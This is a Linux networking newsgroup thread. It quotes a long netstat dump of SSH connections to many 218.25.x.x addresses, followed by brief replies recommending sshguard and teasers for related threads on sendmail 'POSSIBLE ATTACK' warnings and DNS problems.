> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45391 218.25.105.156:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53865 218.25.59.188:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51062 218.25.62.114:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45673 218.25.10.146:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49421 218.25.104.211:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43363 218.25.20.66:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60124 218.25.57.36:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38637 218.25.90.18:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:57332 218.25.36.94:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59859 218.22.134.190:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35856 218.25.114.234:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53116 218.25.14.33:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33039 218.25.234.46:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36200 218.25.131.37:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53632 218.25.14.33:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46484 218.25.116.166:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47079 218.25.200.50:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48230 218.25.91.182:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58341 218.25.10.146:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55444 218.25.90.18:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45465 218.24.136.208:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55750 218.25.240.214:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46292 218.25.17.68:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49220 218.25.91.182:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43001 218.25.170.133:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46168 218.25.200.50:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42859 218.25.42.214:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34732 218.25.105.172:ssh
> ESTABLISHED
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56610 218.25.90.18:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34184 218.25.82.189:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50527 218.25.105.171:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33297 218.25.27.37:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45425 218.25.16.243:ssh
> FIN_WAIT2
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39618 www.huachu.com.cn:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56999 218.25.240.214:ssh
> ESTABLISHED
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48101 218.25.69.162:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34340 218.24.134.59:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53407 218.25.62.90:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42454 218.25.227.97:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40881 218.25.131.134:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45650 218.25.227.97:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx.c:eba 218.25.10.17:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45474 218.25.27.37:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:54415 218.25.227.65:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45045 218.25.10.146:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48370 218.25.20.40:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53524 218.25.17.66:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41320 218.25.48.94:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:57116 218.25.36.94:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58793 218.25.105.24:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59172 218.25.105.24:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38740
> 25.204.18.218.broad.sz.:ssh TIME_WAIT tcp        0      0
> x-xx-x-xx-xx.xxxxxxxx:59528 218.25.17.68:ssh TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38041 218.25.62.115:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56287 218.25.10.17:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47157 218.25.240.214:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50494 218.25.81.250:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42224 218.25.62.116:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46026 218.25.116.166:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55959 218.25.88.164:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45968 mail.sami.com.cn:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:44632 218.25.105.156:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46423 218.24.136.208:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48330 218.25.246.116:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43916 218.24.143.5:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38487
> 25.204.18.218.broad.sz.:ssh TIME_WAIT tcp        0      0
> x-xx-x-xx-xx.xxxxxxxx:44728 218.24.148.167:ssh TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53630 218.25.62.90:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40786 218.25.131.134:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53544 218.25.82.35:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35638 218.25.114.234:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:57861 218.25.22.130:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41321 218.25.23.234:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39303 218.25.23.202:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39684 218.25.160.246:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42502 218.25.62.116:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:57284 218.25.10.17:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53326 218.25.59.188:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56651 218.25.10.17:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34042 218.25.105.172:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36819 218.25.20.66:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43404 218.25.23.234:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40585 218.25.131.134:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36977 218.25.20.66:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45246 218.25.27.37:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39305 218.25.10.90:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50459 218.24.134.59:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45597 218.24.148.167:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:52733 218.25.62.117:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:52482 218.25.17.66:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60070 218.25.42.214:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42306 218.25.48.94:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36581 218.25.18.199:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx.:fido 218.25.170.23:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46929 218.25.69.162:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35993 218.25.246.116:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53505 218.25.14.33:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:32925 218.25.82.6:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:52446 218.25.42.230:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55450 218.25.42.230:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46176 218.25.227.97:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50162 218.25.227.49:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37398 218.24.6.230:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49826 218.25.104.211:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35994 218.25.131.37:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48939 218.25.107.94:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38526 218.25.90.18:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60958 218.25.62.116:ssh
> TIME_WAIT
> tcp        0     84 x-xx-x-xx-xx.xxxxxxxx:59600 218.25.68.131:ssh
> ESTABLISHED
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55149 218.25.227.81:ssh
> TIME_WAIT
> tcp        0     68 x-xx-x-xx-xx.xxxxxxxx:33514 218.24.66.162:ssh
> ESTABLISHED
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58673 218.25.59.190:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37049 218.25.20.66:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47910 218.24.148.167:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50745 218.25.72.50:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58738 218.25.57.36:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42031 218.23.19.146:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:44045 218.25.160.246:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45152 218.25.105.24:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35100 218.25.114.234:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50980 218.25.72.50:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:54066 218.25.82.35:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56298 218.25.88.164:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49105 218.25.82.35:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48661 mail.sami.com.cn:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48717 218.25.107.94:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58517 218.25.170.23:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36223 218.25.246.116:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46304 218.25.16.243:ssh
> FIN_WAIT2
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38747 218.22.202.242:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40385 218.25.131.134:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49054 218.25.10.97:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:44797 218.25.27.37:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33411 218.25.27.37:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:54618 218.25.227.65:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58382 218.25.68.131:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60408 218.22.202.242:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56205 218.25.10.17:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49885 218.25.164.66:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48169 218.25.91.198:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41922 218.25.62.116:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49307 218.25.227.49:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39918 218.25.57.18:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36459 218.25.227.81:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33356 218.25.28.250:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38988 218.25.107.94:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58813 218.25.10.51:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34797 218.25.18.199:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49089 mail.sami.com.cn:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34721 218.25.105.200:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39040 218.25.28.54:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47246 218.25.36.155:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43024 218.25.170.148:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35479 218.24.136.208:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35669 218.24.134.59:ssh
> ESTABLISHED
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35017 218.25.69.163:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36608 218.25.131.112:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46605 218.24.136.208:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55020 218.25.42.213:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33525 218.25.27.37:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53019 218.25.42.230:ssh
> TIME_WAIT
> tcp        0     20 x-xx-x-xx-xx.xxxxxxxx:60592 218.22.134.190:ssh
> ESTABLISHED
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34081 218.25.108.11:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41935 218.25.48.94:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43447 218.24.6.230:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55455 218.25.36.94:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56716 218.25.240.214:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50713 218.25.36.93:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59692 218.25.68.131:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45870 218.25.164.67:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50775 218.25.131.112:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60629 218.25.42.214:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39526 218.25.59.247:ssh
> TIME_WAIT
> tcp        0     20 x-xx-x-xx-xx.xxxxxxxx:37901 218.25.234.46:ssh
> ESTABLISHED
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37515 218.25.234.46:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35902 218.25.20.66:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43099 218.25.170.133:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35002 218.24.136.208:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43611 218.25.227.65:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56501 218.25.105.171:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59022 218.25.10.51:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33120 218.25.69.162:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33349 218.25.228.66:ssh
> TIME_WAIT
> tcp        0     52 x-xx-x-xx-xx.xxxxxxxx:46404 218.25.164.67:ssh
> ESTABLISHED
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43442 218.25.20.66:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34481 218.24.134.59:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37258 218.25.62.117:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60094 218.25.76.53:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41505 218.25.10.96:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35714 218.25.105.172:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36425 218.22.134.190:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51627 218.25.72.50:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43296 218.25.71.30:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43445 218.25.71.30:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41163 218.25.48.94:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34431 218.25.69.163:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41549 218.25.62.116:ssh
> TIME_WAIT
> tcp        0      1 x-xx-x-xx-xx.xxxxxxxx:37732 218.25.62.117:ssh
> SYN_SENT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53625 218.25.16.80:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34687 218.25.18.199:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55731 218.25.88.164:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46492 218.25.200.50:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42103 218.25.48.94:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59849 218.25.57.36:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42001 218.25.23.234:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53249 218.25.81.58:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:52250 218.25.104.211:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53024 218.25.10.4:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43656 218.25.170.148:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36353 218.25.227.81:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35920 218.25.105.172:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45379 218.24.148.167:ssh
> TIME_WAIT
> tcp        0      1 x-xx-x-xx-xx.xxxxxxxx:33064 218.25.59.190:ssh
> SYN_SENT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42909 218.25.170.133:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36156 218.25.227.81:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48545 218.25.91.182:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58671 218.25.228.66:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49418 218.25.30.122:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55844 218.25.131.37:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40166 218.25.76.58:ssh
> TIME_WAIT
> ===== END =====

Just set up sshguard ;)
0
Reply nonyet (1) 12/2/2008 11:16:20 AM

Unknown wrote:

> 
> Just set up sshguard ;)

Holy snipage!

Also, how old is this thread?
-- 
Tim Greer, CEO/Founder/CTO, BurlyHost.com, Inc.
Shared Hosting, Reseller Hosting, Dedicated & Semi-Dedicated servers
and Custom Hosting.  24/7 support, 30 day guarantee, secure servers.
Industry's most experienced staff! -- Web Hosting With Muscle!
0
Reply tim199 (262) 12/2/2008 5:57:57 PM
comp.os.linux.networking 15562 articles. 5 followers. Post

50 Replies
109 Views

Similar Articles

[PageSpeed] 2


  • Permalink
  • submit to reddit
  • Email
  • Follow


Reply:

Similar Artilces:

possible attack???
May 11 16:46:14 darkhole sendmail[10271]: j4BNkDk10271: POSSIBLE ATTACK from [220.70.73.147]: newline in string "gileum^M " Ok I give??? Thanks ...

Possible attack
Hi, I am running fedora1 core. Last Sunday, when I started my computer it freezed before going to the X mode. I went through the boot process and I found out that after I start the amavisd in dual mode with sendmail my computer freezes. I cannot type anything, and I cannot move the mouse. The pc is not responding at all. It worked for almost 8 months with that configuration until last sunday. Sometime it freezes right away, some time I have to wait 10 min. I was forced to remove my lates kernel because for some reason I was not able to do ifconfig on my machine. It was not givin...

POSSIBLE ATTACK: newline in string
I'm getting more and more of these every day on my company mail server (8.12.10). sm-mta[26412]: NOQUEUE: POSSIBLE ATTACK from ww.xx.yy.zz: newline in string "xxxxxxxx\r " Does anybody know the cause? They appear to originate from a wide variety of IP's. A few months back I was only seeing one or two per week, now it's up to one or two per hour. Thanks, Alan Alan Lehman wrote: > sm-mta[26412]: NOQUEUE: POSSIBLE ATTACK from ww.xx.yy.zz: newline in > string "xxxxxxxx\r " Check the mail that was received: where does it contain the string "xxxxxxxx&...

Possible DOS Attack, but not sure.
We have been running Bind9.3.1 with the usual great results and had a very strange thing happen to both our master and slave DNS's last night. We must have recursion on in our environment, but we do not allow third-party recursion. Last night, we suddenly began receiving reports of sporadic DNS performance and discovered that we were maxed out on recursive clients as in 1000/1000. This normally only happens when we loose access to any root name servers but this time, all but 2 root DNS's were accessible. The only unusual messages in named.log were the "no more...

SENDMAIL POSSIBLE ATTACK MESSAGE IN SYSLOG
Anyone know why I see these in syslog on my OSR 5.0.6 system. (Sendmail 8.11). Thanks wj Feb 17 12:38:17 pop sendmail[26413]: h1HHcHZ26413: POSSIBLE ATTACK from [66.200.129.94]: newline in string "QW153^M " May 12 20:41:13 pop sendmail[7999]: h4D0fCd07999: POSSIBLE ATTACK from ANeuilly-105-2-1-149.w80-11.abo.wanadoo.fr: newline in string "SnakeG^M " Sep 11 19:52:07 pop sendmail[10092]: h8BNq7o10092: POSSIBLE ATTACK from [213.132.46.106]: newline in string "xdcc24^M " Nov 6 20:22:54 pop sendmail[4198]: hA71MsR04198: POSSIBLE ATTACK from [213.42.17.244]: newline ...

bug in pppd
I found a bug in pppd 2.4.2 This bug can be used for a dos attack steeling all memory and cputime under certain circumstances. I have reported this bug and the possible solution to the addresses mentioned in the README within pppd's source. I have tried to inform the developers via http://www.samba.org/ppp/ Selecting bug reports on that page results in an fatal error: ############## The system encountered a fatal error cannot open config file /etc/jitterbug/ppp-bugs : No such file or directory The last error code was: No such file or directory uid/gid=33/33 ##########...

possible dos on dns attack ??? (tinydns)
Hi everyone, lately I experience huge traffic on my server's NIC. I use debian, tinydns, dnscache. There are only 3 domains in my dns, address 10.0.0.2 is the address of my firewall. Here is the output from iptraf: (just small part): hu May 5 12:21:19 2005; UDP; eth0; 56 bytes; from 10.0.0.2:11803 to 200.130.31.5:domain Thu May 5 12:21:19 2005; UDP; eth0; 65 bytes; from 10.0.0.2:27725 to 192.36.148.17:domain Thu May 5 12:21:19 2005; UDP; eth0; 253 bytes; from 192.5.6.30:domain to 10.0.0.2:5178 Thu May 5 12:21:19 2005; ICMP; eth0; 281 bytes; from 10.0.0.2 to 192.5.6.30; dest ...

Possible DNS cache poisoning attack
Or, at least that's what it looks like. Last nigh (Oct 28) we were barraged by thousands of emails with a return path of facebookmail.com. Our MTA checks the return path of each incoming message so as to reject anything that can't be replied to. That, of course, requires a DNS lookup but every attempt to lookup facebookmail.com timed out and when I flushed the cache, it would resolve for a short while and then hang again until a again flushed my cache. This effectively brought both of my email edge servers to their knees as all the SMTP connections were tied up while ...

Experts Anxious Over Possible Net Attack
By TED BRIDIS AP Technology Writer WASHINGTON (AP) -- Government and industry experts are increasingly concerned about brewing hacker activity they consider a precursor to a broad Internet attack that will target a serious flaw in Windows software from Microsoft Corp. Experts are advising computer users with renewed urgency to apply a free repairing patch that Microsoft has offered on its Web site since July 16, when it acknowledged that the flaw affected nearly all versions of its flagship Windows operating system software. The Homeland Security Department cautioned Wednesday t...

"POSSIBLE ATTACK" warning from sendmail
